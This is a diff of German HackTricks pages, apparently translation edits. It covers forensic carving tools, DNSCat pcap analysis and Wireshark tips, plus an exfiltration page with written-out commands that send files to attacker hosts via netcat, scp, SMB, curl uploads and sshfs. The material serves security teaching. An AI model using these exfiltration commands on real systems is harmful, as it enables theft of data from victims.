Für die Umwandlung von Binärdaten in Bilder, überprüfen Sie [dcode](https://www.dcode.fr/binary-image). Um QR-Codes zu lesen, verwenden Sie [diesen Online-Barcode-Reader](https://online-barcode-reader.inliteresearch.com/).
|
||||
|
||||
Für die Übersetzung von Brailleschrift ist der [Branah Braille Übersetzer](https://www.branah.com/braille-translator) eine ausgezeichnete Ressource.
|
||||
### **Braille-Übersetzung**
|
||||
|
||||
Für die Übersetzung von Braille ist der [Branah Braille Translator](https://www.branah.com/braille-translator) eine ausgezeichnete Ressource.
|
||||
|
||||
## **Referenzen**
|
||||
|
||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Trete der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories einreichst.**
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Carving & Recovery tools
|
||||
|
||||
Mehr Tools unter [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
Weitere Tools unter [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### Autopsy
|
||||
|
||||
|
@ -33,7 +25,7 @@ Das am häufigsten verwendete Tool in der Forensik zum Extrahieren von Dateien a
|
|||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** ist ein Tool zur Analyse von Binärdateien, um eingebettete Inhalte zu finden. Es kann über `apt` installiert werden und der Quellcode ist auf [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
**Binwalk** ist ein Tool zur Analyse von Binärdateien, um eingebettete Inhalte zu finden. Es kann über `apt` installiert werden und der Quellcode befindet sich auf [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Nützliche Befehle**:
|
||||
```bash
|
||||
|
@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost befindet sich in `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen.
|
||||
Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost finden Sie unter `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -59,9 +51,9 @@ scalpel file.img -o output
|
|||
```
|
||||
### Bulk Extractor
|
||||
|
||||
Dieses Tool ist in Kali enthalten, kann aber hier gefunden werden: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
Dieses Tool ist in Kali enthalten, aber Sie können es hier finden: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
Dieses Tool kann ein Image scannen und wird **pcaps** darin **extrahieren**, **Netzwerkinformationen (URLs, Domains, IPs, MACs, Mails)** und weitere **Dateien**. Sie müssen nur Folgendes tun:
|
||||
Dieses Tool kann ein Image scannen und wird **pcaps** darin **extrahieren**, **Netzwerkinformationen (URLs, Domains, IPs, MACs, Mails)** und weitere **Dateien**. Sie müssen nur:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
|
@ -100,16 +92,10 @@ Sucht nach AES-Schlüsseln, indem es nach ihren Schlüsselschemata sucht. In der
|
|||
|
||||
Laden Sie [hier herunter](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
## Ergänzende Werkzeuge
|
||||
## Ergänzende Tools
|
||||
|
||||
Sie können [**viu** ](https://github.com/atanunq/viu) verwenden, um Bilder aus dem Terminal anzuzeigen.\
|
||||
Sie können das Linux-Befehlszeilenwerkzeug **pdftotext** verwenden, um ein PDF in Text umzuwandeln und es zu lesen.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
Sie können das Linux-Befehlszeilen-Tool **pdftotext** verwenden, um ein PDF in Text umzuwandeln und es zu lesen.
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -6,7 +6,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,25 +15,17 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Carving & Recovery tools
|
||||
|
||||
Weitere Tools unter [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### Autopsy
|
||||
|
||||
Das am häufigsten verwendete Tool in der Forensik zum Extrahieren von Dateien aus Bildern ist [**Autopsy**](https://www.autopsy.com/download/). Laden Sie es herunter, installieren Sie es und lassen Sie es die Datei verarbeiten, um "versteckte" Dateien zu finden. Beachten Sie, dass Autopsy entwickelt wurde, um Disk-Images und andere Arten von Bildern zu unterstützen, jedoch keine einfachen Dateien.
|
||||
Das am häufigsten verwendete Tool in der Forensik zum Extrahieren von Dateien aus Bildern ist [**Autopsy**](https://www.autopsy.com/download/). Laden Sie es herunter, installieren Sie es und lassen Sie es die Datei verarbeiten, um "versteckte" Dateien zu finden. Beachten Sie, dass Autopsy entwickelt wurde, um Festplattenabbilder und andere Arten von Bildern zu unterstützen, jedoch keine einfachen Dateien.
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** ist ein Tool zur Analyse von Binärdateien, um eingebettete Inhalte zu finden. Es kann über `apt` installiert werden und der Quellcode befindet sich auf [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
**Binwalk** ist ein Tool zur Analyse von Binärdateien, um eingebettete Inhalte zu finden. Es kann über `apt` installiert werden und sein Quellcode befindet sich auf [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Nützliche Befehle**:
|
||||
```bash
|
||||
|
@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost finden Sie unter `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen.
|
||||
Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost befindet sich in `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -85,7 +77,7 @@ Es kommt mit GUI- und CLI-Versionen. Sie können die **Dateitypen** auswählen,
|
|||
* Mehrere Plots für verschiedene Fokuspunkte
|
||||
* Fokussierung auf Teile einer Probe
|
||||
* **Anzeigen von Strings und Ressourcen**, in PE- oder ELF-Executables z. B.
|
||||
* **Muster** für die Kryptoanalyse von Dateien erhalten
|
||||
* Erhalten von **Mustern** für die Kryptoanalyse von Dateien
|
||||
* **Erkennen** von Packer- oder Encoder-Algorithmen
|
||||
* **Identifizieren** von Steganographie durch Muster
|
||||
* **Visuelles** binäres Differenzieren
|
||||
|
@ -105,12 +97,6 @@ Laden Sie [hier herunter](https://sourceforge.net/projects/findaes/).
|
|||
Sie können [**viu** ](https://github.com/atanunq/viu) verwenden, um Bilder aus dem Terminal anzuzeigen.\
|
||||
Sie können das Linux-Befehlszeilen-Tool **pdftotext** verwenden, um ein PDF in Text umzuwandeln und es zu lesen.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,37 +1,25 @@
|
|||
# DNSCat pcap-Analyse
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
Wenn Sie eine pcap-Datei mit Daten haben, die **von DNSCat exfiltriert werden** (ohne Verschlüsselung zu verwenden), können Sie den exfiltrierten Inhalt finden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
Wenn du eine pcap-Datei mit Daten hast, die von **DNSCat exfiltriert** werden (ohne Verschlüsselung), kannst du den exfiltrierten Inhalt finden.
|
||||
|
||||
Du musst nur wissen, dass die **ersten 9 Bytes** keine echten Daten sind, sondern mit der **C\&C-Kommunikation** zusammenhängen:
|
||||
Sie müssen nur wissen, dass die **ersten 9 Bytes** keine echten Daten sind, sondern mit der **C\&C-Kommunikation** verbunden sind:
|
||||
```python
|
||||
from scapy.all import rdpcap, DNSQR, DNSRR
|
||||
import struct
|
||||
|
|
|
@ -15,19 +15,6 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Verbessere deine Wireshark-Fähigkeiten
|
||||
|
||||
|
@ -44,7 +31,7 @@ Die folgenden Tutorials sind großartig, um einige coole grundlegende Tricks zu
|
|||
|
||||
**Experteninformationen**
|
||||
|
||||
Wenn du auf _**Analyse** --> **Experteninformationen**_ klickst, erhältst du eine **Übersicht** darüber, was in den **analysierten** Paketen passiert:
|
||||
Durch Klicken auf _**Analyse** --> **Experteninformationen**_ erhältst du eine **Übersicht** darüber, was in den **analysierten** Paketen passiert:
|
||||
|
||||
![](<../../../.gitbook/assets/image (256).png>)
|
||||
|
||||
|
@ -56,7 +43,7 @@ Unter _**Statistiken --> Aufgelöste Adressen**_ findest du mehrere **Informatio
|
|||
|
||||
**Protokollhierarchie**
|
||||
|
||||
Unter _**Statistiken --> Protokollhierarchie**_ kannst du die **Protokolle** **finden**, die an der Kommunikation beteiligt sind, sowie Daten über sie.
|
||||
Unter _**Statistiken --> Protokollhierarchie**_ findest du die **Protokolle**, die an der Kommunikation beteiligt sind, sowie Daten über sie.
|
||||
|
||||
![](<../../../.gitbook/assets/image (586).png>)
|
||||
|
||||
|
@ -72,7 +59,7 @@ Unter _**Statistiken --> Endpunkte**_ findest du eine **Zusammenfassung der Endp
|
|||
|
||||
![](<../../../.gitbook/assets/image (896).png>)
|
||||
|
||||
**DNS-Informationen**
|
||||
**DNS-Info**
|
||||
|
||||
Unter _**Statistiken --> DNS**_ findest du Statistiken über die erfassten DNS-Anfragen.
|
||||
|
||||
|
@ -126,7 +113,7 @@ In der aktuellen Wireshark-Version musst du anstelle von `bootp` nach `DHCP` suc
|
|||
|
||||
![](<../../../.gitbook/assets/image (1003).png>)
|
||||
|
||||
## Entschlüsselung von TLS
|
||||
## TLS entschlüsseln
|
||||
|
||||
### Entschlüsselung von HTTPS-Verkehr mit dem privaten Schlüssel des Servers
|
||||
|
||||
|
@ -179,29 +166,17 @@ f = open('all_bytes.data', 'w+b')
|
|||
f.write(all_bytes)
|
||||
f.close()
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen anbietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,25 @@
|
|||
# Exfiltration
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen Sie & üben Sie AWS-Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen Sie & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
## Häufig whitelisted Domains zum Exfiltrieren von Informationen
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
Check [https://lots-project.com/](https://lots-project.com/) um häufig whitelisted Domains zu finden, die missbraucht werden können
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Häufig whitelistete Domains zum Exfiltrieren von Informationen
|
||||
|
||||
Überprüfen Sie [https://lots-project.com/](https://lots-project.com/), um häufig whitelistete Domains zu finden, die missbraucht werden können
|
||||
|
||||
## Kopieren & Einfügen Base64
|
||||
## Copy\&Paste Base64
|
||||
|
||||
**Linux**
|
||||
```bash
|
||||
|
@ -66,7 +58,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
|||
### Dateien hochladen
|
||||
|
||||
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* [**SimpleHttpServer druckt GET und POSTs (auch Header)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* Python-Modul [uploadserver](https://pypi.org/project/uploadserver/):
|
||||
```bash
|
||||
# Listen to files
|
||||
|
@ -80,7 +72,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt'
|
|||
# With basic auth:
|
||||
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
|
||||
```
|
||||
### **HTTPS Server**
|
||||
### **HTTPS-Server**
|
||||
```python
|
||||
# from https://gist.github.com/dergachev/7028596
|
||||
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
|
||||
|
@ -171,7 +163,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
|||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
Oder erstellen Sie einen SMB-Share **mit Samba**:
|
||||
Oder erstellen Sie einen smb-Share **mit Samba**:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
|
@ -187,21 +179,6 @@ guest ok = Yes
|
|||
service smbd restart
|
||||
```
|
||||
Windows
|
||||
|
||||
---
|
||||
|
||||
### Exfiltration
|
||||
|
||||
Exfiltration is the unauthorized transfer of data from a target. There are various methods to exfiltrate data from a compromised system. Some common exfiltration methods include:
|
||||
|
||||
- **Email**: Sending data as email attachments to an external email account.
|
||||
- **FTP**: Transferring data using the File Transfer Protocol to an external server.
|
||||
- **DNS**: Encoding data within DNS requests to leak information.
|
||||
- **HTTP/HTTPS**: Sending data over HTTP or HTTPS to a remote server.
|
||||
- **Steganography**: Hiding data within other files to avoid detection.
|
||||
- **Cloud Storage**: Uploading data to cloud storage services.
|
||||
|
||||
Attackers may use one or more of these methods to exfiltrate sensitive information from a target network. It is essential for defenders to monitor and control outbound network traffic to detect and prevent exfiltration attempts.
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
@ -217,13 +194,13 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
|
|||
```
|
||||
## SSHFS
|
||||
|
||||
Wenn das Opfer SSH hat, kann der Angreifer ein Verzeichnis vom Opfer zum Angreifer mounten.
|
||||
Wenn das Opfer SSH hat, kann der Angreifer ein Verzeichnis vom Opfer zum Angreifer einbinden.
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
||||
```
|
||||
## Netzwerk-Kommunikation
|
||||
## NC
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
|
